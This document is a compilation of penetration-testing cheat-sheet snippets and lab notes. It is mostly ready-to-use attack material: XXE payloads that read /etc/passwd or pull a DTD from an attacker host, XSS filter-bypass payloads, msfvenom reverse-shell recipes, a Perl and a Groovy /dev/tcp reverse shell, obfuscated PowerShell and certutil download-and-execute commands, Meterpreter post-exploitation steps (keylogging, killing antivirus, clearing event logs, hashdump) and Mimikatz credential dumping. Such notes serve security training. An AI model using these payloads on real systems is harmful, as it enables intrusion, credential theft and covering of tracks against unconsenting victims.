| 2. accesschk.exe -uwcqv "Username" * /accepteula - this will show potentially vulnerable services | |
| sc sdshow <service name from accesschk> - this will show permissions of a service | |
| Create service to execute commands | |
| sc create MyService displayName= "MyService" binPath= "C:\Windows\System32\net.exe localgroup Administrators hackerman /add" start= auto |
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| Downloading xcat | |
| 1. Download get-pip.py from https://bootstrap.pypa.io/get-pip.py | |
| 2. Go to download directory. | |
| 3. Run ‘Python3 get-pip.py | |
| 4. Go to xcat install directory | |
| XML tag injection | |
| ------------------- | |
| Name: useless | |
| Username: useless@yahoo.com</username></user><user><rule>1</rule><name>l33t</name><username>admin@yahoo.com | |
| Password: l33t | |
| Name: </name></user><user><rule>1<!-- | |
| Username: --></rule><name>x</name><username>x | |
| Password: l33t | |
| Name: </name></user><user><rule{NEW LINE}>1<!-- | |
| Username: --></rule{NEW LINE}><username>l33t | |
| Password: l33t | |
| <script><![CDATA[alert]]>('XSS')</script> | |
| ------------------- | |
| XML XXE or (XML external entity) | |
| <?xml version="1.0" ?> | |
| <!DOCTYPE passwd [ | |
| <!ELEMENT passwd ANY> | |
| <!ENTITY passwd SYSTEM "file:///etc/passwd"> | |
| ]> | |
| <passwd>&passwd;</passwd> | |
| ---------------------- | |
| Resource inclusion with php input/output streams and encoding | |
| <!DOCTYPE message [ | |
| ... | |
| <ENTITY xxefile SYSTEM "php://filter/read=convert.base64-encode/resource=file:///path/to/config.php"> | |
| ]> | |
| <message> | |
| ... | |
| <body>&xxefile;</body> | |
| </message> | |
| ------------------------ | |
| Resource inclusion | |
| <!DOCTYPE message [ | |
| ... | |
| <!ENTITY xxefile SYSTEM "file:///etc/passwd"> | |
| ]> | |
| <message> | |
| ... | |
| <body>&xxefile;</body> | |
| </message> | |
| ------------------------- | |
| Working example of post request (XML Tab) | |
| <?xml version="1.0" encoding="utf-8"?> | |
| <!DOCTYPE crimeTest [ | |
| <!ENTITY fakeEntity SYSTEM "file:///etc/passwd"> | |
| ]> | |
| <login> | |
| <username>matt..&fakeEntity;</username> | |
| <password>poop...&fakeEntity;</password> | |
| </login> | |
| ------------------------------- | |
| XXESERVE PROGRAM | |
| <?xml version="1.0" encoding="utf-8"?> | |
| <!DOCTYPE root [ | |
| <!ENTITY % remote SYSTEM "http://10.100.13.200:8080/xml?f=/etc/passwd"> | |
| %remote; | |
| %int; | |
| %trick;]> | |
| ** This is a test for lab number 6 XML External entities (blind) | |
| <?xml version='1.0'?> | |
| <!DOCTYPE xxe [ | |
| <!ENTITY % EvilDTD SYSTEM 'http://hacker.site/evil.dtd'> | |
| %EvilDTD; | |
| %LoadOOBEnt; | |
| %OOB; | |
| ]> |
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| Tools | |
| <iframe src=”http://10.11.0.220:3000”></iframe> | |
| <iframe width="700" scrolling="no" height="400" frameborder="0" src="http://10.11.0.220:3000" seamless="seamless"> <--invisible iframe | |
| xsser --gtk ***this will launch a ncie gui | |
| ****************Examples from the lab: | |
| ----------------------- | |
| <script>alert('l33t')</script> | |
| <script <script>>alert('l33t')</script> | |
| <svg/onload=alert('l33t')> | |
| <svg><script>alert('l33t') | |
| <svg><script>alert('l33t') | |
| <script>\u0061lert('l33t')</script> | |
| <script>eval('\x61lert(\'l33t\')')</script> | |
| [NL]eval('\x61lert(\'l33t\')' | |
| [\u2028]eval('\x61lert(\'l33t\')' | |
| <script>eval(8680439..toString(30))(983801..toString(36))</script> | |
| http://11.xss.labs%2f@hacker.site/x.js | |
| ***********Examples from the lab, accompanied by the code/filter presented in lab | |
| --------------------------------------------- | |
| function Sanitizer($search){ | |
| // Let's start... | |
| return 'Your search "<b>' . $search . '</b>" did not match any products'; | |
| } | |
| <script>alert('l33t')</script> | |
| ------------ | |
| function Sanitizer($search){ | |
| //To script, or not script.. | |
| $search = preg_replace('#<script([\s])*>#is', NOSCRIPT, $search); | |
| return 'Your search "<b>' + $search + '</b>" did not match any products'; | |
| } | |
| <script <script>>alert('l33t')</script> | |
| ------------ | |
| function Sanitizer($search){ | |
| //To script, or not script... this is no more the problem | |
| $search = preg_replace('#<script(.*?)>#is', NOSCRIPT, $search); | |
| return 'Your search "<b>' + $search + '</b>" did not match any products'; | |
| } | |
| <svg/onload=alert('l33t')> | |
| ----------- | |
| function Sanitizer($search){ | |
| //Script must be closed, here's a stronger filter... isn't it? | |
| $search = preg_replace('#<script(.*?)>(.*?)</script(.*)?>#is', NOSCRIPT, $search); | |
| //No ON no party! | |
| $search = preg_replace('#(on\w+\s*=)#s', NOEVENTS, $search); | |
| return 'Your search "<b>' + $search + '</b>" did not match any products'; | |
| } | |
| <svg><script>alert('l33t') | |
| ---------- | |
| function Sanitizer($search){ | |
| //No ON no party! | |
| $search = preg_replace('#(on\w+\s*=)#s', NOEVENTS, $search); | |
| //No Functions no party! | |
| $search = preg_replace('#[()]#s', NOFUNCTIONS, $search); | |
| return 'Your search "<b>' + $search + '</b>" did not match any products'; | |
| } | |
| <svg><script>alert('l33t') | |
| ----------- | |
| function Sanitizer($search){ | |
| //No alert no party! | |
| $search = preg_replace('#alert#is', NOALERT, $search); | |
| return 'Your search "<b>' + $search + '</b>" did not match any products'; | |
| } | |
| <script>\u0061lert('l33t')</script> | |
| ----------- | |
| function Sanitizer($search){ | |
| // No Unicode escaping.. there are a lot of smart guys out of there... | |
| // Thanks to stackoverflow.com > http://bit.ly/SO_decode_unicode | |
| $search = preg_replace_callback('/\\\\u([0-9a-fA-F]{4})/', function ($m) { | |
| return mb_convert_encoding(pack('H*', $m[1]), 'UTF-8', 'UCS-2BE'); | |
| }, $search); | |
| //No alert no party! | |
| $search = preg_replace('#alert#is', NOALERT, $search); | |
| return 'Your search "<b>' + $search + '</b>" did not match any products'; | |
| } | |
| <script>eval('\x61lert(\'l33t\')')</script> | |
| ------------ | |
| function Sanitizer($search){ | |
| // Breaking bad... | |
| //No alert no party! | |
| $search = preg_replace('#alert#is', NOALERT, $search); | |
| return <<<RESULT | |
| No products here.. | |
| <!-- todo: debug this --> | |
| <script> | |
| //console.debug( $search ); | |
| </script> | |
| RESULT; | |
| } | |
| [NL]eval('\x61lert(\'l33t\')' | |
| ------------- | |
| function Sanitizer($search){ | |
| // Breaking bad... more stronger | |
| $search = preg_replace('#[\n\r]#', "", $search); | |
| //No alert no party! | |
| $search = preg_replace('#alert#is', NOALERT, $search); | |
| return <<<RESULT | |
| No products here.. | |
| <!-- todo: debug this --> | |
| <script> | |
| //console.debug( $search ); | |
| </script> | |
| RESULT; | |
| } | |
| [\u2028]eval('\x61lert(\'l33t\')' | |
| -------------- | |
| function Sanitizer($search){ | |
| // No more string ... | |
| $search = preg_replace('#[\'"+]#', "", $search); | |
| // ... no more alert ... | |
| $search = preg_replace('#alert#is', NOALERT, $search); | |
| // ... no no more alternative ways! | |
| $search = preg_replace('#.source#is', "", $search); | |
| $search = preg_replace('#.fromCharCode#is', "", $search); | |
| return 'Your search "<b>' + $search + '</b>" did not match any products'; | |
| } | |
| <script>eval(8680439..toString(30))(983801..toString(36))</script> | |
| ---------------- | |
| function Sanitizer($search){ | |
| // No scripts from untrusted origins or you'll see a nice gorilla | |
| preg_match('#^(?:https?:)?\/\/11.xss.labs\/#is', urldecode($search), $matches); | |
| if(empty($matches)) $search = "...untrusted..."; | |
| // don't break the src tag | |
| $search = preg_replace('#"#', "", $search); | |
| // ehehe and now? Are you still a ninja? | |
| $search = strtoupper($search); | |
| } | |
| http://11.xss.labs%2f@hacker.site/x.js |
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| XXD | |
| This is the command "cat /etc/passwd" converted to hex and then XXD back to the regular command | |
| `echo 636174202f6574632f706173737764 | xxd -r -p`" |
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| my port | their port - the ip address is the victim IP | |
| portfwd add -l 1234 -p 445 -r 10.11.1.14 | |
| my port | their port - the ip address is the victim IP | |
| or you can use proxychains | |
| gedit /etc/proxychains.conf | |
| change the 127.0.0.1 9050 to whatever you want the port to be |
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| Turning Meterpreter into PowerShell | |
| post/windows/manage/payload_inject | |
| windows exec payload example with AV bypassing payload | |
| powershell.exe "(New-Object Net.WebClient).(((((New-Object Net.WebClient)).PsObject.Methods)|Where-Object{$_.Name-ilike'*nl*g'}).Name).Invoke('http://74.134.249.8/test.ps1') | IEX" | |
| **To keep shell from dying -- set all multi handler options, before actually running the multi-handler, type the following for persistence | |
| exec cmd.exe -f -h | |
| set autorunscript explorer.exe | |
| set autorunscript migrate -f | |
| run post/windows/manage/migrate | |
| run persistence <--for a back door | |
| run post/windows/gather/credentials/gpp <--get group policy creds | |
| run getgui <--enable rdp | |
| clearev <--clear event log | |
| run post/windows/capture/keylog_recorder <--record keystrokes | |
| run killav <-- kill anti virus | |
| run vnc <-- get a gui :) | |
| run hashdump <--dump system hashes | |
| run post/windows/gather/dumplinks <---gather link files that may be useful | |
| run post/windows/gather/enum_applications <--enumerate applications | |
| load mimikatz <----- load mimikatz function (IE password dumps etc) | |
| getsystem <------escalate privs | |
| run post/windows/gather/credentials/mssql_local_hashdump <--dump database | |
| run winenum <----enumerate system in meterpreter (files get stored in .msf4 or .msf8) | |
| run post/windows/gather/win_privs <---check if you are an admin | |
| run post/multi/recon/local_exploit_suggester <----check for privilege escalation | |
| run post/windows/gather/credentials/credential_collector | |
| run post/windows/gather/enum_ms_product_keys | |
| execute -f cmd.exe -i -H <-----run commands in meterpreter | |
| meterpreter > download C:\\bank-account.zip /root/Desktop/bank-account.zip | |
| [*] downloading: C:\bank-account.zip -> /root/Desktop/bank-account.zip | |
| [*] download : C:\bank-account.zip -> /root/Desktop/bank-account.zip | |
| portfwd add -l 1234 -p 445 -r 10.11.1.14 | |
| my port | their port - the ip address is the victim IP |
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| while in msfconsole | |
| ====================== | |
| *****In order to add nessus stuff: | |
| /etc/init.d/nessusd start <--start service | |
| ------------------ | |
| load nessus <--load nessus | |
| ------------------ | |
| nessus_connect user:password@localhost <--connect to nessus instance | |
| ------------------ | |
| nessus_scan_list <---list all scans | |
| ------------------ | |
| nessus_db_import 8 <--import a scan the "8" represents which scan to | |
| import from the list of scans | |
| ------------------ | |
| ***** pentest plugins | |
| load pentest | |
| vulns <-----list all vulns | |
| vuln_exploit <----exploit all found vulns | |
| ------------------ |
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| Creating Metasploit Payloads | |
| msfvenom -l | |
| Binaries | |
| Powershell | |
| msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.10.14.7:80/chatterbox.ps1')\"" | |
| Raspberry Pi Shells | |
| msfvenom -p linux/armle/meterpreter_reverse_https LHOST=192.168.0.31 LPORT=8443 | |
| Linux | |
| msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf | |
| Windows | |
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe | |
| Mac | |
| msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho | |
| Web Payloads | |
| PHP | |
| msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.30.53 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f raw > shell.php | |
| cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php | |
| ASP | |
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -b "\x00" -e x86/shikata_ga_nai -f asp > shell.asp | |
| JSP | |
| msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -b "\x00" -e x86/shikata_ga_nai -f raw > shell.jsp | |
| WAR | |
| msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -b "\x00" -e x86/shikata_ga_nai -f war > shell.war | |
| Scripting Payloads | |
| Python | |
| msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -b "\x00" -e x86/shikata_ga_nai -f raw > shell.py | |
| Bash | |
| msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -b "\x00" -e x86/shikata_ga_nai -f raw > shell.sh | |
| Perl | |
| msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -b "\x00" -e x86/shikata_ga_nai -f raw > shell.pl | |
| Shellcode | |
| For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits. | |
| Linux Based Shellcode | |
| msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -b "\x00" -e x86/shikata_ga_nai -f <language> | |
| Windows Based Shellcode | |
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -b "\x00" -e x86/shikata_ga_nai -f <language> | |
| Mac Based Shellcode | |
| msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -b "\x00" -e x86/shikata_ga_nai -f <language> | |
| Handlers | |
| Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format. | |
| use exploit/multi/handler | |
| set PAYLOAD <Payload name> | |
| set LHOST <LHOST value> | |
| set LPORT <LPORT value> | |
| set ExitOnSession false | |
| exploit -j -z | |
| msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.101 LPORT=3333 -b "\x00" -e x86/shikata_ga_nai -f exe -o /tmp/1.exe | |
| Perl one liner | |
| perl -e 'use Socket;$i="192.168.139.100";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' | |
| -------------------------------------------------- | |
| actual shells made | |
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.53 LPORT=443 -f asp > Desktop/shells/win-rev-met-443-shell.asp | |
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.53 LPORT=4444 -f exe > Desktop/shells/win-rev-met-4444-shell.exe | |
| Staged Payloads Stageless Payloads | |
| windows/meterpreter/reverse_tcp windows/meterpreter_reverse_tcp | |
| windows/meterpreter/reverse_https windows/meterpreter_reverse_https | |
| windows/meterpreter/reverse_tcp windows/meterpreter_reverse_tcp | |
| msfvenom -p windows/meterpreter_reverse_https LHOST=192.168.0.16 LPORT=8443 -f psh > test.ps1 |
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| Within a meterpreter shell | |
| run autoroute -h | |
| run autoroute -s <IP range> |
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| r = Runtime.getRuntime() | |
| p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/MALICIOUS-IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) | |
| p.waitFor() |
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| 1. Download Merlin | |
| ------------------------- | |
| cd /opt | |
| git clone https://github.com/Ne0nd0g/merlin.git | |
| 2. Download Agent Dependencies | |
| ------------------------------- | |
| cd /opt/merlin/cmd/merlinagent | |
| go get github.com/Ne0nd0g/merlin/pkg | |
| go get github.com/Ne0nd0g/merlin/pkg/agent | |
| go get github.com/fatih/color | |
| --------------------------- | |
| 3. Build Linux Agent | |
| cd /opt/merlin/cmd/merlinagent | |
| go build | |
| --------------------------- | |
| 4. Build Windows Agent | |
| cd /opt/merlin/cmd/merlinagent | |
| GOOS=windows GOARCH=amd64 go build | |
| ---------------------------- | |
| 5. Build Server | |
| cd /opt/merlin/cmd/merlinserver | |
| go build | |
| ---------------------------- | |
| 6. Move Built Server and Generate SSL Cert | |
| mv /opt/merlin/cmd/merlinserver/merlinserver ../../ | |
| cd /opt/merlin/data/x509 | |
| openssl req -x509 -newkey rsa:4096 -sha256 -nodes -keyout server.key -out server.crt -subj "/CN=Humana.com" -days 7 | |
| ---------------------------- | |
| Run Merlin Server | |
| cd /opt/merlin/ | |
| ./merlinserver -i 192.168.0.46 |
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| masscan -p 1-65535 |
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| This will change your MAC address | |
| IE in this case, we changed the MAC address on our Alfa wireless card | |
| First notate the mac address | |
| root@kali:~# ifconfig | |
| wlan0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 | |
| ether 00:c0:ca:5a:05:b7 txqueuelen 1000 (Ethernet) | |
| Next we need to take down the wireless interface | |
| root@kali:~# ifconfig wlan0 down | |
| Now we need to change the mac address to something (I didn't change much because this can cause issues if you type in a crazy MAC address like 00:00:00:00:00:00) | |
| root@kali:~# macchanger --mac=00:c0:ca:5a:05:b6 wlan0 | |
| Now we will get the output. | |
| root@kali:~# macchanger --mac=00:c0:ca:5a:05:b6 wlan0 | |
| Current MAC: 00:c0:ca:5a:05:b7 (ALFA, INC.) | |
| Permanent MAC: 00:c0:ca:5a:05:b7 (ALFA, INC.) | |
| New MAC: 00:c0:ca:5a:05:b6 (ALFA, INC.) | |
| Now we will take the interface back up | |
| root@kali:~# ifconfig wlan0 up |
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| Download with BitsAdmin | |
| "bitsadmin.exe /transfer /Download /priority Foreground http://10.10.14.6:80/autoruns.exe C:\Users\Public\documents\autoruns.exe" | |
| Powershell Download BitsAdmin | |
| "Start-BitsTransfer -Priority foreground -Source http://10.10.14.6:80/autoruns.exe -Destination C:\Users\Public\autoruns.exe" | |
| Run Multiple Commands (download and execute) BitsAdmin | |
| "bitsadmin.exe /transfer /Download /priority Foreground http://10.10.14.6:80/autoruns.exe C:\Users\Public\music\autoruns.exe && C:\Users\Public\music\autoruns.exe" | |
| "bitsadmin.exe /transfer /Download /priority Foreground http://10.10.14.6:80/autoruns.exe C:\Users\Public\music\autoruns.exe | cmd /c C:\Users\Public\music\autoruns.exe" | |
| Download With Certutil | |
| "certutil.exe -urlcache -split -f http://10.10.14.5/autoruns.exe C:\Users\Public\Documents\7zip.exe" | |
| ieexec.exe http://x.x.x.x:8080/bypass.exe | |
| Download and Execute with CertUtil | |
| "certutil.exe -urlcache -split -f http://10.10.14.5/autoruns.exe C:\Users\Public\Documents\7zip.exe | cmd /c C:\Users\Public\Documents\7zip.exe" | |
| ieexec.exe http://x.x.x.x:8080/bypass.exe | |
| Execute with ScriptRunner.exe | |
| C:\Windows\System32\ScriptRunner.exe -appvscript "\\fileserver\calc.cmd" | |
| C:\Windows\System32\ScriptRunner.exe -appvscript powershell.exe -args |
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| ###################################### | |
| Ping Sweep | |
| for i in `seq 1 255`; do ping -c 1 172.16.1.$i | tr \\n ' ' | awk '/1 received/ {print $2}'; done | |
| ###################################### | |
| Enumeration | |
| find hidden files | |
| find . -type f -name '*.py' <----you can edit this to find php, py, html, txt, whatever file you want. | |
| --------------------------- | |
| Find writeable files in a linux box IE, if you want to download an exploit etc etc | |
| find / -writable -type d 2>/dev/null # world-writeable folders | |
| find / -perm -222 -type d 2>/dev/null # world-writeable folders | |
| find / -perm -o w -type d 2>/dev/null # world-writeable folders | |
| find / -perm -o x -type d 2>/dev/null # world-executable folders | |
| find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders | |
| find / -perm -2 ! -type l -ls 2>/dev/null # world readable and writeable folders - maybe a cron job running as root :) | |
| find / -type f -exec grep -l "flag.txt" {} \; ##Find a file with a particular name | |
| --------------------------- | |
| find filtering by path, filename, and permissions | |
| find /path -iname "FILTER" -perm PERM | |
| find with flags used to list or delete files found | |
| find /path -iname "FILTER" -ls | |
| find with grep to quickly identify files of interest | |
| find /path -iname "FILTER" -exec grep -i "CONTENT" {} \; | |
| find things like shadow.bak etc | |
| find / -iname "shadow*" | |
| find with flags used to list or delete files found (w/error redirection) | |
| find / -iname "shadow*" -ls 2>/dev/null | |
| find results can also be filtered by file permissions as well (-perm) flag | |
| find / -iname "shadow*" -perm /o+r -ls 2>/dev/null | |
| find with grep to search for strings inside of files: | |
| find /home -iname "*.txt" 2>/dev/null -exec grep -i 'pass' {} \; | |
| find with grep to quickly identify files of interest: | |
| find /home -iname "*.txt" 2>/dev/null -exec grep -li 'pass' {} \; | |
| find with egrep to quickly identify files of interest using regular expressions: | |
| find /home -iname "*.txt" 2>/dev/null -exec egrep -li "^.+@.+$" {} \; | |
| Syntax: Recursively list all hidden files and directories on Linux/Unix | |
| The basic syntax is as follows: | |
| find /dir/to/search/ -name ".*" -print | |
| OR | |
| find /dir/to/search/ -name ".*" -ls | |
| OR search only hidden files: | |
| find /dir/to/search/ -type f -iname ".*" -ls | |
| OR search only hidden directories: | |
| find /dir/to/search/ -type d -iname ".*" -ls | |
| OR | |
| find /dir/to/search -path '*/.*' -print | |
| find /dir/to/search -path '*/.*' -ls | |
| Find files based in attributes e.g.; list files that are text, ascii, unicode etc etc | |
| file /home/bandit4/inhere/* | |
| Find a readable file, that is not executable, and has a certain size (within same directory) | |
| find -readable -size 1033c ! -executable |
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| psexec.py 'administrator:Welcome1!@192.168.0.16' cmd <-----administrator is the user - Welcome1! is the password - 192.168.0.16 is the remote IP, keep in mind, if you portfwd, you can use loopback address as the IP | |
| impacket-wmiexec 'administrator:Welcome1!@127.0.0.1' cmd |
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| Good Repo | |
| https://github.com/ztrhgf/LAPS/tree/master/AdmPwd.PS | |
| We can enumerate on which OU's LAPS are in use and which users are allowed to read passwords: | |
| - Using LAPS module (*Which can be moved across different systems) | |
| Import-Module C:\Users\Public\Adm.Pwd.PS\AdmPwd.PS.psd1 | |
| then | |
| Find-AdmPwdExtendedRights -Identity OUDistinguishedName |
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| Finding out if an image has hidden stuff in it | |
| ============================================== | |
| convert image.jpg converted.jpg | |
| ---------- | |
| strings -10 image.jpg | |
| ---------- | |
| hexdump -C 6packsofsoda.jpg | less +//"ff d9" | |
| hexdump -C 6packsofsoda.jpg | more +//"ff d9" | |
| ---------- | |
| xxd -c1 -p 6packofsoda.jpg | tr "\n" " " | sed -n -e 's/.*\(ff d9 \)\(.*\).*/\2/p' | xxd -r -p | |
| foremost -t zip -i /root/filename.jpg |
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| httpscreenshot -l /root/Desktop/domains-https/https.txt -tG -sF -vH |
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| proxychains nmap -sV -PS -p 21,22,25,110,3389,23,80,443,3306,5060,28017,53,139,135,445,1433,110,111,8080,27017,88,990,543,544,5432,8010,2105,636 -iL /root/Desktop/IPs-Deduplicated --open | |
| proxychains nmap -p 21,22,25,110,3389,23,80,443,3306,5060,28017,53,139,135,445,1433,110,111,8080,27017,99,990 -iL /root/Desktop/IPs-Deduplicated -oA /root/Desktop/testsktop/test --open | |
| Lab 1 -- *****Host discovery**** | |
| quick scan - just ICMP and some TCP to 80 and 443 to see who is online | |
| nmap -sn 10.50.96.0/23 | |
| results | |
| ======== | |
| The following hosts are up | |
| Nmap scan report for 10.50.96.5 | |
| Nmap scan report for 10.50.96.15 | |
| Nmap scan report for 10.50.97.5 | |
| Nmap scan report for 10.50.97.6 | |
| Nmap scan report for 10.50.97.15 | |
| hacker target.com | |
| gobuster | |
| dnsrecon | |
| dnsdumpster.com | |
| =========== | |
| part 2 host discovery no ping (The PS argument will limit traffic to be sneaky) | |
| nmap -n -sn -PS22,135,443,445 10.50.96.0/23 | |
| new host is up | |
| 10.50.97.17 | |
| =============== | |
| DNS discovery | |
| nmap -sS -sU -p 53 -n 10.50.96.0/23 | |
| now we can see the following 2 addresses have DNS | |
| 10.50.96.5 | |
| 53/tcp open domain | |
| 53/udp open domain | |
| 10.50.96.15 | |
| 53/tcp open domain | |
| 53/udp open domain | |
| ============== | |
| DNS enumeration | |
| > server 10.50.96.5 ****default server to query | |
| Default server: 10.50.96.5 | |
| Address: 10.50.96.5#53 | |
| > set q=NS *****set query type to NS | |
| > foocampus.com *****Domain name | |
| Server: 10.50.96.5 | |
| Address: 10.50.96.5#53 | |
| foocampus.com nameserver = ns.foocampus.com. | |
| foocampus.com nameserver = ns1.foocampus.com. | |
| =============== | |
| > server 10.50.96.5 | |
| Default server: 10.50.96.5 | |
| Address: 10.50.96.5#53 | |
| > set q=mx | |
| > foocampus.com | |
| Server: 10.50.96.5 | |
| Address: 10.50.96.5#53 | |
| foocampus.com mail exchanger = 10 pop3.foocampus.com. | |
| ================= | |
| Zone transfers | |
| dig @10.50.96.5 foocampus.com -t AXFR **zone transfer command. | |
| results | |
| ============= | |
| ; <<>> DiG 9.9.5-12.1-Debian <<>> @10.50.96.5 foocampus.com -t AXFR | |
| ; (1 server found) | |
| ;; global options: +cmd | |
| foocampus.com. 3600 IN SOA foocampus.com. campusadmin. 47 900 600 86400 3600 | |
| foocampus.com. 3600 IN NS ns1.foocampus.com. | |
| foocampus.com. 3600 IN NS ns.foocampus.com. | |
| foocampus.com. 3600 IN MX 10 pop3.foocampus.com. | |
| ftp.foocampus.com. 3600 IN A 10.50.96.10 | |
| intranet.foocampus.com. 3600 IN A 10.50.96.15 | |
| management.foocampus.com. 3600 IN A 10.50.96.15 | |
| ns.foocampus.com. 3600 IN A 10.50.96.21 | |
| ns1.foocampus.com. 3600 IN A 10.50.96.22 | |
| pop3.foocampus.com. 3600 IN A 10.50.96.60 | |
| www.foocampus.com. 3600 IN A 10.50.96.15 | |
| foocampus.com. 3600 IN SOA foocampus.com. campusadmin. 47 900 600 86400 3600 | |
| ;; Query time: 151 msec | |
| ;; SERVER: 10.50.96.5#53(10.50.96.5) | |
| ;; WHEN: Fri Jun 17 04:36:40 EDT 2016 | |
| ;; XFR size: 12 records (messages 12, bytes 685) |
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| PSRemoting | |
| PSRemoting is enabled by default on Server 2012 onwards | |
| Enable-PSRemoting (if not enabled) | |
| You get elevated shell on remote system if admin creds are used to authenticate (which is the default setting) | |
| Connecting view PSRemoting | |
| New-PSSession | |
| Enter-PSSession | |
| Invoke-Command | |
| Use below to execute commands or semicolon separated scripts | |
| Invoke-Command –Scriptblock{Get-Process} -ComputerName(Get-Content <list_of_servers>) | |
| Use below to execute scripts from files | |
| Invoke-Command –FilePathC:\scripts\Get-PassHashes.ps1 -ComputerName(Get-Content <list_of_servers>) | |
| Mimikatz | |
| Invoke-Mimikatzuses PowerShell remoting cmdlet Invoke-Command to do below. Thus, credentials or administrative access to the remote computers is required | |
| When Using MimiKatz, if errors recieved like "ERROR kuhl_m_sekurlsa_acquireLSA" | |
| Try doing the following command first | |
| "Invoke-Mimikatz -Command privilege::debug" | |
| Dump credentials on multiple remote machines. | |
| Invoke-Mimikatz -DumpCreds -ComputerName @(“dc01", “dc02") | |
| Dump credentials on a local machine. | |
| Invoke-Mimikatz -DumpCreds | |
| Dump certs on a local machine. | |
| Invoke-Mimikatz -DumpCerts | |
| Invoke-Mimikatz google.com | |
| Over-pass-the-hash generate tokens from hashes | |
| Invoke-Mimikatz-Command ‘"sekurlsa::pth/user:Administrator/domain:. /ntlm:<ntlmhash> /run:powershell.exe“ | |
| List all the tokens on a machine | |
| Invoke-TokenManipulation –ShowAll | |
| List all unique, usable tokens on the machine | |
| Invoke-TokenManipulation –enumerate | |
| Start a new process with token of a specific user | |
| Invoke-TokenManipulation -ImpersonateUser -Username “domain\user" | |
| Start news process with token of another process | |
| Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -ProcessId 550 |
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| Windows | |
| ========================================== | |
| systeminfo <---list system info. also use the winsploit script against the results to find exploits | |
| wmic product get /format:csv > Software_%Computername%.csv | |
| ^^^^^ get products installed | |
| Linux | |
| =========================================== | |
| -------- | |
| TTY shells | |
| python -c 'import pty;pty.spawn("/bin/bash")' | |
| echo os.system('/bin/bash') | |
| /bin/sh -i | |
| perl -e 'exec "/bin/bash";' | |
| ----------- | |
| find hidden files | |
| find . -type f -name '*.py' <----you can edit this to find php, py, html, txt, whatever file you want. | |
| --------------------------- | |
| Find writeable files in a linux box IE, if you want to download an exploit etc etc | |
| find / -writable -type d 2>/dev/null # world-writeable folders | |
| find / -perm -222 -type d 2>/dev/null # world-writeable folders | |
| find / -perm -o w -type d 2>/dev/null # world-writeable folders | |
| find / -perm -o x -type d 2>/dev/null # world-executable folders | |
| find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders | |
| --------------------------- |
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| Example - will return with spaces | |
| echo -n "Hello" | od -A n -t x1 | |
| Example with SED - will delete all spaces | |
| echo -n "Hello" | od -A n -t x1 | sed 's/ //g' | |
| Explanation: | |
| The echo program will provide the string to the next command. | |
| The -n flag tells echo to not generate a new line at the end of the "Hello". | |
| The od program is the "octal dump" program. (We will be provide a flag to tell it to dump it in hexadecimal instead of octal.) | |
| The -A n flag is short for --address-radix=n, with n being short for "none". Without this part, the command would output an ugly numerical address prefix on the left side. This is useful for large dumps, but for a short string it is unnecessary. | |
| The -t x1 flag is short for --format=x1, with the x being short for "hexidecimal" and the 1 meaning 1 byte. |
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| Decrypt GPP passwords | |
| gpp-decrypt 0cU/uGQrF5Xfhm61HAK8wFlfYce2W6ODQAeI957VrqY | |
| Pm2fUXScqI |
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| .\godditest-windows-amd64.exe -username=testuser -password="testpass!" -domain="test.local" -dc="dc.test.local" -unsafe |
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| https://raw.githubusercontent.com/rvrsh3ll/Misc-Powershell-Scripts/master/Get-BrowserData.ps1 | |
| Get-BrowserData.ps1 | Format-List | |
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| active directory credentials | |
| from meterpreter: | |
| run post/windows/gather/credentials/gpp | |
| from windows shell | |
| Active Directory policies are stored in a special UNC path: | |
| from windows shell | |
| %USERDOMAIN%\Policies | |
| But you cannot access UNC paths via cmd, so you have to use the Sysvol share you can find | |
| on a domain controller: | |
| %LOGONSERVER%\Sysvol | |
| To do that in the lab environment you can type: | |
| > net use X: \\DC01\SysVol | |
| > X: | |
| > cd examplead.lan\Policies | |
| > dir |
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| Fresh installs of linux | |
| **add on for enum4linux | |
| apt-get install ldapscripts | |
| sudo apt-get install python-xlrd | |
| apt-get install xsltproc | |
| update-java-alternatives --jre -s java-1.7.0-openjdk-amd64 | |
| apt-get install seclists | |
| sudo apt-get install erlang-base-hipe sudo | |
